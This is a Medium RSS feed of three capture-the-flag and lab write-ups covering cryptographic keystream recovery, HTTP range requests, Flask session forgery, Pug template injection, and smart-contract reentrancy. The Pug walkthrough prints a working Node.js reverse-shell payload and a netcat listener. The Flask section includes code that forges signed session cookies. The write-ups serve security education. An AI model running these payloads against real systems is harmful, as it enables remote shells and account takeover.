<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rohandeshmukh on Medium]]></title>
        <description><![CDATA[Stories by Rohandeshmukh on Medium]]></description>
        <link>https://medium.com/@hackerdx07?source=rss-feafcee82cbf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*XLWWtYy5HUk2FCnc</url>
            <title>Stories by Rohandeshmukh on Medium</title>
            <link>https://medium.com/@hackerdx07?source=rss-feafcee82cbf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 04:17:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hackerdx07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[h4ck0n CTF 2026]]></title>
            <link>https://hackerdx07.medium.com/h4ck0n-ctf-2026-3cbbe10f56a9?source=rss-feafcee82cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3cbbe10f56a9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Rohandeshmukh]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 07:54:27 GMT</pubDate>
            <atom:updated>2026-11-17T07:54:27.042Z</atom:updated>
            <content:encoded><![CDATA[<h3>H4ckc0n CTF 2026: Solving Three Challenges Across Cryptography and Web Exploitation</h3><p><em>Three challenges. Three different attack surfaces. One common lesson: understanding how a system works is often more valuable than throwing tools at it.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXQUMJz0Fvh1mCe55c8DMQ.png" /><figcaption>cert</figcaption></figure><p>During H4ckc0n CTF 2026, I worked on several challenges across different categories. Three 100-point challenges stood out because each required a different way of thinking:</p><ol><li><strong>Quantum Echo</strong> — Cryptography</li><li><strong>BANDSWIDTH</strong> — Web / HTTP exploitation</li><li><strong>Love is a Secret Key</strong> — Web exploitation</li></ol><p>Rather than approaching these challenges with a collection of random payloads, I focused on understanding the underlying mechanisms, identifying weaknesses, and building a reproducible solution.</p><p>Here is how I approached each one.</p><h3>1. Quantum Echo — Cryptography</h3><p><strong>Author:</strong> ishan._.<br><strong>Points:</strong> 100<br><strong>Category:</strong> Cryptography</p><h3>Challenge description</h3><blockquote><em>A lab says its telemetry is locked with a fresh quantum key. They sifted it in public, though, and somehow the key seems to have gotten around. We managed to get hold of the transcript, a handful of masked register readings, and the sealed export. Nobody wrote down how the sealing was done. All that survives is a 32-byte block size and a counter that starts at zero.</em></blockquote><p>The objective was to recover the hidden flag from a simulated quantum telemetry forensic dump.</p><h3>Initial analysis</h3><p>The challenge provided three important pieces of information:</p><ul><li>A transcript containing telemetry observations.</li><li>Calibration probes and masked register readings.</li><li>A sealed export using 32-byte blocks and a counter starting at zero.</li></ul><p>The key was not simply to brute-force the ciphertext. The first task was to reconstruct the mechanism that generated the register values.</p><h3>Step 1: Recovering the controller model</h3><p>By comparing the calibration probes, I identified the rotation used by the simulated register.</p><p>The walk operation consistently used a cyclic left rotation of seven bits:</p><pre>rotl(input, 7) = walk_word</pre><p>Next, I searched pairs of distinct rotations to identify the fold operation. The unique pair that worked across the calibration probes was (5, 11).</p><p>The resulting expression was:</p><pre>fold_word = input ^ (rotl(input, 5) &amp; rotl(input, 11))</pre><p>This provided the mathematical model needed to interpret the telemetry observations.</p><h3>Step 2: Solving the system over GF(2)</h3><p>The dump contained 160 observation rows, cycling every 16 rows.</p><p>I converted the observations into a system of linear equations over GF(2).</p><p>The unknowns consisted of:</p><ul><li>32 fold-mask bits</li><li>32 walk-mask bits</li><li>16 calibration-pad bits</li><li>1 initial-echo bit</li></ul><p>This produced a 160 × 81 matrix.</p><p>Gaussian elimination gave a consistent system with rank 80, leaving one free variable: the initial echo.</p><p>Setting the free variable to zero and back-substituting produced:</p><pre>Fold Mask:          0x1d0cc456<br>Walk Mask:          0xccc78639<br>Calibration Pads:   1010010010100001<br>Initial Echo:       0</pre><h3>Step 3: Reconstructing the seal material</h3><p>The seal record specified that the material was assembled in the following order:</p><pre>s:t:e0:q</pre><p>Using the recovered parameters:</p><pre>1d0cc456:ccc78639:0:1010010010100001</pre><p>The final 16-bit field represented the quantum key loaded into the register seed.</p><h3>Step 4: Reconstructing the keystream</h3><p>The next discovery was the sealing construction.</p><p>The challenge generated 32-byte keystream blocks by hashing the ASCII seal material concatenated with a four-byte big-endian counter:</p><pre>keystream_block = SHA256(material_ascii || counter_u32_be)</pre><p>The counter started at zero and incremented for each block.</p><p>By generating the required keystream blocks and XORing them with the sealed export, I recovered the plaintext.</p><h3>Recovered flag</h3><pre>d4rk{quantum_echo_reuse_breaks_the_pad}</pre><h3>What this challenge taught me</h3><p>The most important part was reconstructing the system before attempting decryption.</p><p>A cryptographic construction can look complicated, but if its internal parameters can be recovered from observations, the remaining problem may become deterministic.</p><p><strong>Key takeaway:</strong> Reused key material and predictable keystream construction can undermine an otherwise familiar cryptographic primitive. A proper key derivation function, unique nonce, and secure encryption construction are essential.</p><h3>2. BANDSWIDTH — HTTP Range Requests</h3><p><strong>Author:</strong> pr4njal<br><strong>Points:</strong> 100<br><strong>Category:</strong> Web</p><h3>Challenge description</h3><blockquote><em>A huge file hides a something.</em></blockquote><blockquote><em>You are supposed to see “Session download limit exceeded”. The solution path will have no errors. DON’T GO ABOUT DOWNLOADING THE ENTIRE FILE.</em></blockquote><p>Target:</p><pre>http://4.187.169.60:5021/download</pre><p>This challenge was interesting because the obvious approach — downloading the file — was exactly what the challenge warned against.</p><h3>Step 1: Inspecting the endpoint</h3><p>I first checked the root endpoint:</p><pre>curl http://4.187.169.60:5021/</pre><p>It returned:</p><pre>{<br>  &quot;challenge&quot;: &quot;BANDSWIDTH&quot;,<br>  &quot;download_size&quot;: 1099511627776,<br>  &quot;unit&quot;: &quot;bytes&quot;<br>}</pre><p>The resource was <strong>1,099,511,627,776 bytes</strong>, equivalent to 1 TiB.</p><p>Downloading the entire resource was clearly unnecessary.</p><p>I then inspected the download endpoint:</p><pre>curl -I http://4.187.169.60:5021/download</pre><p>The response exposed two important headers:</p><pre>Accept-Ranges: bytes<br>Content-Length: 1099511627776</pre><p>The Accept-Ranges: bytes header indicated that the server supported partial content retrieval.</p><h3>Step 2: Understanding the download restrictions</h3><p>Testing revealed two limits:</p><p>RestrictionObserved limitMaximum individual request5 MiBCumulative session transfer10 MiB</p><p>After two complete 5 MiB transfers in the same session, another request returned:</p><pre>HTTP 413<br>Session download limit exceeded</pre><p>This was the intended behavior described in the challenge.</p><p>The important realization was that I did not need to bypass these limits.</p><p>I needed to understand HTTP range semantics.</p><h3>Step 3: The suffix-range discovery</h3><p>HTTP supports a suffix byte-range request:</p><pre>Range: bytes=-5242880</pre><p>This requests the final 5 MiB of a resource.</p><p>Since the server’s individual request limit was also 5 MiB, this request stayed within the allowed limit.</p><p>It was possible to retrieve the end of the 1 TiB file without downloading everything before it.</p><h3>Step 4: Retrieving and searching the final bytes</h3><p>I used Python’s requests library:</p><pre>import requests<br>import re</pre><pre>url = &quot;http://4.187.169.60:5021/download&quot;</pre><pre>s = requests.Session()</pre><pre>r = s.get(<br>    url,<br>    headers={&quot;Range&quot;: &quot;bytes=-5242880&quot;},<br>    timeout=60<br>)</pre><pre>print(&quot;Status:&quot;, r.status_code)<br>print(&quot;Content-Range:&quot;, r.headers.get(&quot;Content-Range&quot;))<br>print(&quot;Downloaded:&quot;, len(r.content), &quot;bytes&quot;)</pre><pre>if r.status_code == 206:<br>    data = r.content</pre><pre>    for match in re.finditer(<br>        rb&quot;d4rk\{[^}]{1,200}\}&quot;,<br>        data,<br>        re.I<br>    ):<br>        print(&quot;[+] POSSIBLE FLAG:&quot;, match.group().decode(errors=&quot;replace&quot;))<br>else:<br>    print(r.text[:300])</pre><p>The server responded successfully:</p><pre>Status: 206</pre><pre>Content-Range:<br>bytes 1099506384896-1099511627775/1099511627776</pre><pre>Downloaded:<br>5242880 bytes</pre><p>The response confirmed that only the final 5 MiB had been retrieved.</p><p>Searching the returned data revealed the flag.</p><h3>Recovered flag</h3><pre>d4rk{4kb_isn&#39;t_all_that_bad_tbh_1t&#39;s_much_b3tter_th4n_n0thing...}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*hNQgkdcYi01uue_e5nPyyw.png" /><figcaption>flag</figcaption></figure><h3>What this challenge taught me</h3><p>This was a good reminder that HTTP features should be understood before attempting to work around application restrictions.</p><p>The server explicitly supported byte ranges. The challenge’s limits were not obstacles that needed to be bypassed; they were constraints that helped guide the intended solution.</p><p><strong>Key takeaway:</strong> Always inspect response headers. Features such as Accept-Ranges, Content-Range, and HTTP 206 Partial Content can reveal opportunities to retrieve exactly the data you need.</p><h3>3. Love is a Secret Key — Flask Session Forgery</h3><p><strong>Author:</strong> _drizzer<br><strong>Points:</strong> 100<br><strong>Category:</strong> Web Exploitation</p><h3>Challenge description</h3><p>The story involved Shirogane, the Student Council President, secretly ordering something from the academy merchandise store.</p><p>Shinomiya wanted to discover what Kaicho had purchased and why he was hiding it.</p><p>Target:</p><pre>http://h4ckc0n.centralindia.cloudapp.azure.com:5002/</pre><p>The objective was to access Kaicho’s order and inspect the invoice.</p><h3>Step 1: Reconnaissance</h3><p>The application exposed several routes:</p><pre>/shop<br>/track<br>/cart<br>/login<br>/register</pre><p>I started with the usual reconnaissance target:</p><pre>curl -i http://h4ckc0n.centralindia.cloudapp.azure.com:5002/robots.txt</pre><p>The response contained:</p><pre>User-agent: *<br>Disallow: /internal-notice<br>Disallow: /maintenance</pre><p>These routes became the next investigation targets.</p><h3>Step 2: Finding the internal notice</h3><pre>curl -i http://h4ckc0n.centralindia.cloudapp.azure.com:5002/internal-notice</pre><p>The page disclosed:</p><pre>Username: kaicho<br>Related order: 1337</pre><p>This gave me the target username and order ID.</p><h3>Step 3: Discovering the exposed secret key</h3><p>I inspected the maintenance endpoint:</p><pre>curl -i http://h4ckc0n.centralindia.cloudapp.azure.com:5002/maintenance</pre><p>The response included:</p><pre>APP_ENV = festival<br>SECRET_KEY = love_is_war<br>MAINTENANCE_STATUS = nominal<br>Last_Check = successful</pre><p>This was the turning point.</p><p>The application appeared to use Flask’s signed client-side session mechanism, and its signing secret had been exposed.</p><h3>Step 4: Enumerating Kaicho’s order</h3><p>The tracking endpoint accepted a username and order ID.</p><p>I submitted the discovered information:</p><pre>curl -i -X POST \<br>  -d &quot;username=kaicho&amp;order_id=1337&quot; \<br>  http://h4ckc0n.centralindia.cloudapp.azure.com:5002/track</pre><p>The application returned:</p><pre>Order Found!</pre><pre>Username: kaicho<br>User ID: 66066<br>Order ID: 1337<br>Status: Dispatched</pre><p>It also exposed an invoice route:</p><pre>/invoice/1337</pre><p>Direct access to the invoice redirected me back to the tracking page, indicating that a valid session was required.</p><h3>Step 5: Understanding the session structure</h3><p>Rather than guessing the application’s session fields, I registered a test account and logged in normally.</p><p>The application issued a cookie named:</p><pre>love_session</pre><p>I decoded and verified the cookie using Python’s itsdangerous library and the exposed secret.</p><p>The session contained:</p><pre>{<br>    &#39;_flashes&#39;: [(&#39;success&#39;, &#39;Login successful!&#39;)],<br>    &#39;user_id&#39;: 66104,<br>    &#39;username&#39;: &#39;ctftest&#39;<br>}</pre><p>This revealed the two important fields used by the application:</p><pre>user_id<br>username</pre><p>The target account information was already known:</p><pre>Username: kaicho<br>User ID: 66066</pre><h3>Step 6: Forging the session</h3><p>Flask’s default client-side session data is signed, not encrypted.</p><p>The signing mechanism prevents users from modifying session contents without the secret key. However, when the secret key is exposed, an attacker can generate a new valid signature.</p><p>I used the discovered secret to construct a session containing Kaicho’s identity:</p><pre>import hashlib<br>from itsdangerous import URLSafeTimedSerializer<br>from flask.sessions import TaggedJSONSerializer</pre><pre>serializer = URLSafeTimedSerializer(<br>    &quot;love_is_war&quot;,<br>    salt=&quot;cookie-session&quot;,<br>    serializer=TaggedJSONSerializer(),<br>    signer_kwargs={<br>        &quot;key_derivation&quot;: &quot;hmac&quot;,<br>        &quot;digest_method&quot;: hashlib.sha1<br>    }<br>)</pre><pre>forged_cookie = serializer.dumps({<br>    &quot;user_id&quot;: 66066,<br>    &quot;username&quot;: &quot;kaicho&quot;<br>})</pre><pre>print(forged_cookie)</pre><p>The resulting cookie was signed using the application’s exposed secret key.</p><h3>Step 7: Accessing the invoice</h3><p>I supplied the forged session cookie to the invoice endpoint:</p><pre>curl -i \<br>  -H &quot;Cookie: love_session=$SESSION_COOKIE&quot; \<br>  -D invoice.headers \<br>  -o kaicho-invoice.bin \<br>  http://h4ckc0n.centralindia.cloudapp.azure.com:5002/invoice/1337</pre><p>The application returned the invoice PDF.</p><p>I extracted its contents:</p><pre>pdftotext kaicho-invoice.bin -</pre><p>The invoice revealed the purchase.</p><p><strong>Buyer:</strong> president_miyuki<br><strong>Username:</strong> kaicho<br><strong>Product:</strong> Crimson Heart Mylar Balloons<br><strong>Quantity:</strong> 100<br><strong>Tracking ID:</strong> woah_a_rezero_mystery</p><p>The buyer’s note said:</p><blockquote><em>Deliver discreetly behind the gym before the festival bonfire. Do NOT let Shinomiya see this.</em></blockquote><p>The confidential order reference contained the flag.</p><h3>Recovered flag</h3><pre>d4rk{k4ich0_l0v3s_Sh1n0miy4}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*1fsb-ZWHc3XiGycwWUC0lA.png" /><figcaption>flag</figcaption></figure><h3>What this challenge taught me</h3><p>This challenge demonstrated how an information disclosure can escalate into authentication compromise.</p><p>The exposed Flask SECRET_KEY made it possible to forge a valid session. The application also lacked sufficient ownership checks when serving the invoice.</p><p>The important distinction is that signing a session protects its integrity only while the signing secret remains confidential. It does not encrypt the contents or replace server-side authorization.</p><p><strong>Key takeaway:</strong> Never expose application secrets. More importantly, every sensitive resource must independently verify that the authenticated user is authorized to access it.</p><h3>Final Thoughts: Three Challenges, Three Different Lessons</h3><p>My biggest takeaway from this set was that effective CTF problem-solving is not just about knowing tools or memorizing payloads.</p><p>It involves:</p><ul><li>Reading challenge clues carefully.</li><li>Inspecting how the application or protocol behaves.</li><li>Forming a hypothesis from observable evidence.</li><li>Testing that hypothesis systematically.</li><li>Understanding why the exploit works.</li><li>Documenting the process so it can be reproduced.</li></ul><p>All three challenges were worth 100 points each, and solving them was a useful exercise in moving between cryptography, protocol-level analysis, and web application security.</p><p><strong>The most valuable part of a CTF challenge is not just recovering the flag. It is understanding the weakness that made the recovery possible.</strong></p><p><em>Writeups and screenshots are based on my own H4ckc0n CTF 2026 challenge-solving sessions. Challenge names and authors are credited above. The techniques are presented for educational purposes in the context of the CTF challenges.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3cbbe10f56a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Templates Walkthrough: Exploiting Pug SSTI to Achieve RCE and shell]]></title>
            <link>https://hackerdx07.medium.com/tryhackme-templates-walkthrough-exploiting-pug-ssti-to-achieve-rce-and-shell-7ce3a249f993?source=rss-feafcee82cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ce3a249f993</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ssti-exploitation]]></category>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[pug]]></category>
            <category><![CDATA[payload]]></category>
            <dc:creator><![CDATA[Rohandeshmukh]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 17:32:33 GMT</pubDate>
            <atom:updated>2026-10-22T17:32:33.607Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Platform:</strong> TryHackMe<br><strong>Room:</strong> Templates<br><strong>Category:</strong> Web Security<br><strong>Difficulty:</strong> Beginner-friendly<br><strong>Technology:</strong> Node.js, Express, PugJS<br><strong>Objective:</strong> Exploit Server-Side Template Injection (SSTI) to retrieve the flag.</p><h3>1. Introduction</h3><p>In this challenge, I explored a Node.js web application that converts PugJS templates into HTML. The objective was to identify a template injection vulnerability, understand how it could lead to server-side code execution, and retrieve the flag.</p><p>The most important lesson was that identifying SSTI is only the first step. Understanding the application’s JavaScript runtime and troubleshooting the execution method are equally important.</p><h3>2. Initial Reconnaissance</h3><p>I started with an Nmap scan to identify open ports and running services.</p><pre>nmap -sC -sV targetip </pre><p>The scan revealed two open ports:</p><p>22: ssh</p><p>5000: HTTP Node.js web application</p><p>The HTTP service was running an Express application, and the page title was <strong>PUG to HTML</strong>.</p><p>This suggested that PugJS, a JavaScript templating engine, was involved in processing user input.</p><h3>3. Identifying Server-Side Template Injection</h3><p>I opened the web application and investigated how it handled the supplied template.</p><p>The application allowed template expressions to be evaluated and their results to appear in the rendered HTML.</p><p>To verify this behavior, I tested a simple arithmetic expression:</p><pre>#{7*7}</pre><p>The application returned:</p><pre>&lt;49&gt;&lt;/49&gt;</pre><p>This confirmed that the expression was evaluated on the server rather than treated as ordinary text.</p><p><strong>Finding:</strong> User-controlled template input was being evaluated by PugJS, indicating a potential Server-Side Template Injection (SSTI) vulnerability.</p><h3>4. Understanding the Vulnerability</h3><p>Server-Side Template Injection occurs when an application processes untrusted input as template syntax instead of safely treating it as data.</p><p>In this case, the application used PugJS, which supports JavaScript expressions within interpolation syntax.</p><p>If an application exposes dangerous runtime objects or allows expressions to access sensitive functionality, SSTI can potentially escalate into Remote Code Execution (RCE).</p><p>This made it necessary to investigate the template’s execution context rather than relying on arithmetic evaluation alone.</p><h3>5. Troubleshooting the Initial Payload</h3><p>My first attempt used the following expression:</p><pre>#{root.process.mainModule.require(&#39;child_process&#39;).spawnSync(&#39;ls&#39;).stdout}</pre><p>However, it failed with this error:</p><pre>TypeError: Cannot read property &#39;process&#39; of undefined</pre><p>The issue was that root was undefined in the template&#39;s execution context.</p><p>I then confirmed that PugJS was evaluating expressions by testing:</p><pre>#{7*7}</pre><p>The rendered output was:</p><pre>&lt;49&gt;&lt;/49&gt;</pre><p>This confirmed template expression evaluation, but further investigation was needed to establish command execution.</p><h3>6. Establishing a Reverse-Shell Connection</h3><p>After researching PugJS and Node.js, I found an approach that used Node.js runtime functionality and the child_process module. Read 1–2 walkthroughs and some github repos for generating accurate payload to get the reverse shell thats the some hardworking part for me as many payloads didn’t worked and just generate errors.</p><h3>Step 1: Start the listener</h3><p>On my TryHackMe AttackBox, I started a Netcat listener:</p><pre>nc -lnvp 4444</pre><p>The listener waited for an incoming connection on port 4444.</p><h3>Step 2: upload payload</h3><blockquote>#{<br> function(){<br> localLoad = global.process.mainModule.constructor._load;<br> sh = localLoad(“child_process”).exec(‘node -e \’(function(){ var net = require(“net”), cp = require(“child_process”), sh = cp.spawn(“/bin/sh”, []); var client = new net.Socket(); client.connect(4444, “attackers ip”, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();\’’);<br> }()<br>}</blockquote><h3>Step 3: Enumerate the target and retrieve the flag</h3><p>After obtaining shell access, I began basic enumeration:</p><pre>whoami<br>pwd<br>ls -la</pre><p>I then located and read the flag file:</p><pre><br>cat flag.txt<br>flag{***....}</pre><p>The flag was successfully retrieved, completing the TryHackMe Templates room.</p><h3>7. Lessons Learned</h3><p>This challenge demonstrated how a template injection vulnerability can escalate into remote code execution when the application exposes dangerous runtime capabilities.</p><p>The hardest part is to get the working payload and not the finding vulnerability!</p><p><strong>Note:</strong> The exercise was performed in an authorized TryHackMe environment for educational purposes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ce3a249f993" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ZeroCTF 2026: Iron Throne Bank — Reentrancy Exploitation Walkthrough]]></title>
            <link>https://hackerdx07.medium.com/zeroctf-2026-iron-throne-bank-reentrancy-exploitation-walkthrough-b3f575f1401b?source=rss-feafcee82cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3f575f1401b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-zerobreach-2]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Rohandeshmukh]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 06:35:28 GMT</pubDate>
            <atom:updated>2026-10-22T06:35:28.997Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Challenge Overview</strong></h4><p>The Iron Bank of Braavos has staked a thousand ether in a contract under the watch of a trusted lord treasurer. The task is to audit the source carefully and walk away with the gold. The flag format is ZeroCTF{…}, authored by Md-Hacker-18. Goal: exploit the withdrawal flow, reduce bank.bank_total to zero, and satisfy the challenge’s flag predicate.</p><h4>1. Vulnerability Analysis</h4><p>The challenge is vulnerable to classic reentrancy. The withdrawal function transfers ETH to the caller before completing the balance bookkeeping. A recipient contract can run a callback and re-enter the withdrawal function while the original call’s accounting changes have not yet taken effect. This lets recursive calls pass a check against stale balance state.</p><blockquote>// Conceptual vulnerable ordering</blockquote><blockquote>require(balances[msg.sender] &gt;= amount);</blockquote><blockquote>(bool ok, ) = msg.sender.call{value: amount}(“”); require(ok);</blockquote><blockquote>balances[msg.sender] -= amount;</blockquote><h4>2. Exploitation Methodology</h4><p><strong>Step 1 — Inspect state.</strong> Run state to inspect the bank total, EOA balance, attacker contract balance, recorded attacker balance, and remaining re-entry depth.</p><p><strong>Step 2 — Register an attacker.</strong> Use register_attacker 20 to deploy an attacker contract with a receive callback configured for up to 20 re-entries. The environment reported that the attacker was seeded with 50 ETH.</p><p><strong>Step 3 — Deposit.</strong> With the new attacker selected as the transaction sender, execute tx value=50 deposit. The captured state then showed bank.bank_total = 550, balances[attacker_contract] = 50, and attacker.recurse_remaining = 20.</p><p><strong>Step 4 — Trigger reentrancy.</strong> Execute tx withdraw 50. The callback recursively called the withdrawal path before the original balance bookkeeping completed.</p><p><strong>Step 5 — Verify state. </strong>Run state again. In the successful run, the bank total reached zero, the attacker contract held 550 ETH, and the recursion counter had decreased to 9.</p><p><strong>Step 6 — Claim the flag.</strong> Run flag. The first attempt before the successful drain failed because bank_total was still 550. After the exploit, the challenge printed the success message and flag.</p><h4>3. Final State Evidence</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*fKxwZo3fxO1TEd3v4HuoAg.png" /></figure><h4>4. Final Flag</h4><p>ZeroCTF{the_iron_throne_drained_again_7A1OXY}</p><h4>5. Original Terminal Evidence</h4><p>This is the original screenshot provided from the challenge terminal. It is embedded as supplied, without recreating or altering the terminal contents, and shows the successful final state and exact flag output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*cz5eguzXx3ACdA1ecJwxBw.png" /><figcaption>flag</figcaption></figure><h4>6. Platform Capture Evidence</h4><p>The following original platform screenshot shows the “Flag captured!” confirmation and the +480 pts award. It is included as supplied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*TLgCaB2KpueFiQCQxb-pGg.png" /><figcaption>platform accepted submission and gave 480+ points</figcaption></figure><h4>7. Root Cause and Remediation</h4><p>Root cause: the external interaction occurs before the internal balance update. During the external call, control reaches the attacker’s callback, which can re-enter the withdrawal function. Checks–Effects–Interactions: validate the withdrawal, update the internal balance, and then transfer ETH. A reentrancy guard should also protect sensitive withdrawal functions.</p><blockquote>function withdraw(uint256 amount) external nonReentrant</blockquote><blockquote>{ require(amount &gt; 0, “Invalid amount”);</blockquote><blockquote>require(balances[msg.sender] &gt;= amount, “Insufficient balance”); balances[msg.sender] -= amount; // effects before interaction</blockquote><blockquote>(bool ok, ) = msg.sender.call{value: amount}(“”); require(ok, “Transfer failed”); }</blockquote><p>This is an illustrative remediation pattern; production contracts should use a tested guard implementation, preserve accounting invariants, and include tests with malicious receiver contracts.</p><h4>8. Lessons Learned</h4><ul><li>External calls hand over control and must be treated as untrusted interactions.</li><li>Updating accounting after an external call can expose stale state to recursive execution.</li><li>Verify the exploit with state output and the challenge’s own win predicate before claiming the flag.</li><li>Checks–Effects–Interactions and reentrancy guards are key defensive measures for withdrawal logic.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3f575f1401b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>